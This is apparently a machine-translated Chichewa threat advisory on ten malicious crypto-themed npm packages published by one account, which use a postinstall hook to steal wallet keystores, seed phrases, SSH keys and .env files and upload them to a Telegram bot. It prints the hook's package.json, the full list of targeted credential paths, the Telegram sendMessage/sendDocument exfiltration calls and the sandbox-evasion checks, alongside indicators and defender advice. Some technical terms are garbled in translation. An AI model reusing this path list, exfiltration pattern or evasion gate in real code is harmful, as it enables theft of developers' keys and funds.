TL; DR
Pa 9 June 2026, akaunti imodzi yofalitsa ya npm, aicrypto-xzggg, kutumizidwa maphukusi khumi ndi mayina okhala ndi kukoma kwa crypto ndi Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, ndi zina zisanu ndi chimodzi.
Phukusi lililonse limakhala ndi katundu wofanana kuchokera ku postinstall mbedza. Ikayikidwa, imayang'ana ngati ikuyenda mkati mwa CI kapena sandbox — ngati sichoncho, imawerenga ma keystores a wallet, mafayilo a seed-phrase, ma key a SSH, ndi .env imatumiza mafayilo ochokera m'malo asanu ndi limodzi a blockchain ndikutumiza ku bot ya Telegram.
Chizindikiro chimodzi chomwe woteteza angachipeze nthawi yomweyo ndi nambala ya bot ya Telegram 8227918239.
Kulimba: zovuta — kuba mwachindunji makiyi osainira ndi mawu obweza kuchokera malo ogwirira ntchito opanga mapulogalamu.
Kuukira: Momwe Kumagwirira Ntchito
Ma phukusiwa amadzitsatsa okha ngati mabungwe opanga mapulogalamu a blockchain. phukusi.json ndi yochepa ndipo imasonyeza nthawi yoyika pa script:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" }zolemba/postinstall.js ndi mzere umodzi womwe umanyamula katundu weniweni: amafuna ("../src/index.js"). Chifukwa atakhazikitsa imagwira ntchito yokha panthawi ya npm kukhazikitsa, palibe chifukwa cholowetsa code kuchokera kwa wopanga mapulogalamu — kuyika phukusili mu mtengo wodalira ndikokwanira kuti ligwire ntchito.
Unyolo wopha mkati src/index.js ndi masitepe anayi:
- Kuyang'anira chilengedwe. Ntchito ya guard imasankha ngati host ikuwoneka ngati build agent kapena analysis sandbox.
- Kuchedwa. Kuphedwa kwachitika pambuyo pa setTimeout pafupifupi masekondi 7.4.
- Kutolere. Mndandanda wokhazikika wa njira za chikwama, makiyi, ndi mafayilo achinsinsi wayendetsedwa; mafayilo omwe alipo ayikidwa pamzere.
- Kutulutsa madzi m'thupi. Mafayilo omwe ali pamzere amatumizidwa ku bot ya Telegram, kenako ndi uthenga wachidule.
Mndandanda wa zolinga zomwe zasonkhanitsidwa uli ndi maunyolo asanu ndi limodzi kuphatikiza zinsinsi za opanga mapulogalamu wamba.
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localNjira makumi awiri ndi chimodzi zonse. Zolemba za m'ndandanda monga ~/.ethereum/store ya makiyi akukulitsidwa ndipo fayilo iliyonse mkati mwake ili pamzere. Kutulutsa kumagwiritsa ntchito Telegram Bot API mwachindunji — a tumizaniUthenga imbani ndi chidule cha woyang'anira ndi fayilo, kenako tumizaniChikalata kukweza magawo ambiri pa fayilo iliyonse:
lemba
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file)Uthenga wachidule womwe code imasonkhanitsa umayamba ndi chingwe chenicheni WOBA CHIRIPTO, kutsatiridwa ndi dzina la hostname, dzina lolowera, dzina la phukusi loyambira, kuchuluka kwa mafayilo, ndi nthawi.
Chatsopano ndi chiyani apa?
Chosiyanitsa si njira yobera — Telegram-based exfil from npm atakhazikitsa hooks waponderezedwa bwino. Ndi chipata chophera anthu. Musanachite chilichonse, payload imatcha ntchito yomwe imabwerera m'mbuyo pamene host ikufanana ndi CI runner kapena sandbox, ndipo imabwerera msanga ikatero:
lemba
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape)Chida cholumikizira cha container ndi regex yodziwika bwino: dzina la hostname la zilembo 12-hex ndi mawonekedwe okhazikika omwe Docker imapatsa a chophimba, kotero kuti payload imaona kuti "dzina langa loyimilira likuwoneka ngati chidebe cha Docker" ngati chifukwa chokhalira chete. Kuphatikiza ndi kuchedwa kwa masekondi asanu ndi awiri, kapangidwe kake kamathandiza kugwira ntchito pa malo enieni ogwirira ntchito a wopanga mapulogalamu ndikukhala chete kulikonse komwe kumawoneka ngati kusanthula kodziyimira pawokha. Chipata chimenecho ndicho chomwe chinaletsa zizindikiro zowunikira mphamvu ndikusunga kuyenda kwa static exfil ngati umboni waukulu wotsimikiza.
Nthawi
Zonse khumi zinaonekera mkati mwa mphindi pafupifupi makumi asanu ndi awiri, mogwirizana ndi kufalitsa kolembedwa kamodzi kuchokera ku akaunti imodzi.
Zizindikiro za Kugwirizana
Zizindikiro za maukonde ndi machitidwe (zosinthidwa ndi wolandila):
Mapaketi ndi mitundu, iliyonse ili ndi SHA-256 yake src/index.js payload (zolipira zimafanana ntchito ndipo zimasiyana kokha mu chizindikiro cha dzina la phukusi lophatikizidwa, kotero hash iliyonse ndi yosiyana):
Funso losavuta losakira: fufuzani zolemba zoyika ndi mafayilo otsekeka pa mayina aliwonse mwa khumi, ndi fufuzani kuchuluka kwa anthu omwe akubwera kuti apeze maulumikizidwe ku Telegram Bot API kuchokera kwa omanga kapena opanga mapulogalamu omwe sagwiritsa ntchito mwanjira ina.
Khalidwe ndi Kuonedwa
Maphukusi onse khumi adasindikizidwa ndi akaunti imodzi, aicrypto-xzggg, amene imelo yake ndi vipsyria88@gmail[.]com. Imelo ndi ulalo wowongolera gwero zonse sizikutsimikiziridwa mu metadata ya registry, ndipo akauntiyo ili ndi mbiri yoipa kwambiri. Sitinatsimikizire yemwe akuyendetsa akauntiyo.
Zinthu ziwiri ziyenera kulekanitsidwa ndi zomwe munthu akufuna kudziwa. Choyamba, mfundo ziwirizi ndi zofunika kuzisiyanitsa ndi zomwe munthu akufuna kudziwa. phukusi.json wolemba kuwerenga kwa munda Alex Smith pa phukusi lililonse, pomwe akaunti yeniyeni yofalitsa ili aicrypto-xzggg; gawo la wolemba ndi metadata yodzidziwitsa yekha ndipo silimatsimikiza kuti ndi wolemba ndani. Chachiwiri, manambala a mtunduwo amasiyana kwambiri - mamembala ena amakhala pa 1.0.0, ena pa 4.68.54 — zomwe zikugwirizana ndi kugwiritsanso ntchito katundu umodzi pa mayina atsopano a maphukusi m'malo mosunga mbiri yeniyeni yotulutsidwa.
Khalidweli ndi lofanana mu gulu lonse: mndandanda womwewo wa njira yolunjika, id ya bot ya Telegram ndi id yolumikizirana, chipata chofanana cha chilengedwe, chomwechi WOBA CHIRIPTO chizindikiro. Kufanana kumeneko ndiye kulumikizana kwamphamvu kwambiri pakati pa mapaketi. Ndi chizindikiro cha wogwiritsa ntchito yemweyo, osati chizindikiritso.
Zotsatira, Zochitika & Malangizo kwa Oteteza
Kuwonekera kwake ndi koona. Wopanga mapulogalamu amene amaika phukusi lililonse mwa izi pa malo ogwirira ntchito omwe ali ndi chikwama cha mapulogalamu, fayilo ya seed-phrase, kapena kiyi ya SSH amawerenga ndikutumiza mafayilowo kuchokera ku host mkati mwa masekondi. Mawu obwezeretsa ndi makiyi osayina satha ntchito monga momwe chizindikiro cha gawo chimathera; kamodzi mnemonic.txt kapena Solana id.json ikachoka pamakina, ndalama zomwe imalamulira zimakhala pachiwopsezo mpaka zitasunthidwa. Kuthamanga komweko kumagwiranso ntchito .fm mafayilo, omwe nthawi zonse amakhala ndi makiyi a API ndi ziyeneretso za database.
Zinthu ziwiri zili kumbuyo kwa gululi. Choyamba ndi kugwiritsa ntchito mayina a crypto- ndi Web3-themed kuti akope omvera enaake - opanga mapulogalamu omwe amasunga ma wallet ndi makiyi pamakina omwewo omwe amaikapo zinthu zodalira. Chachiwiri ndi kukhwima kwa kusagwira ntchito kwa sandbox mu nthawi yoyika. Chipata chomwe chimayang'ana zosintha za CI environment, mayina a ogwiritsa ntchito, ndi mawonekedwe a Docker container-id hostname ndi kuyesetsa mwadala kuchita zinthu mosiyana ndi momwe zimachitikira pa workstation yeniyeni, ndipo zimapangitsa kuti pakhale njira yodziwira zinthu mwachangu.
Kwa oteteza:
Ikani ndi zolemba zotsekedwa mwachisawawa. npm kukhazikitsa -ignore-scripts, kapena seti kunyalanyaza-zolemba = zoona in .npmrc, amaletsa atakhazikitsa kuchitidwa; yambitsani zolemba zokha pazodalira zomwe zimafunikiradi.
Sungani ma wallet ndi makiyi osainira pa makina omangira ndi okonzera. Gwiritsani ntchito chikwama cha hardware kapena chosungira chodzipatulira, chopanda kudalira.
kuchiza .fm, ma keystores, ndi mafayilo a seed-phrase ngati miyala yamtengo wapatali. Sayenera kukhala mu bukhu lomwe lilinso npm kukhazikitsa mtengo wogwira ntchito.
Fufuzani maulumikizidwe otuluka ku Telegram Bot API kuchokera ku CI ndi ma seva opanga mapulogalamu. Malo ambiri omanga sachita izi; omwe amatero mwadzidzidzi, atangoyikidwa, ndi ofunika kuwafufuza.
Pin ndikuwunikanso zodalira. Phukusi latsopano lokhala ndi dzina la crypto, a atakhazikitsa mbedza, ndipo palibe ulalo wosungiramo zinthu womwe umafunika kuyang'aniridwa musanalowe mu fayilo yotsekera.
Chiganizo chotsutsa chizindikiritso cha container ndi chikumbutso kwa akatswiri: kulipira nthawi yoyika yomwe imakhalabe mu sandbox sikoipa, koma kumasankha. Kuwunikanso njira yoyika nthawi yoyika ndiyo njira yodalirika yowonera momwe ntchito yosinthira ingalephere kuwonetsa.
Zothandizira
npm install documentation — lifecycle scripts ndi -osanyalanyaza zolemba— chitsogozo choletsa kukhazikitsa kokha hooks.
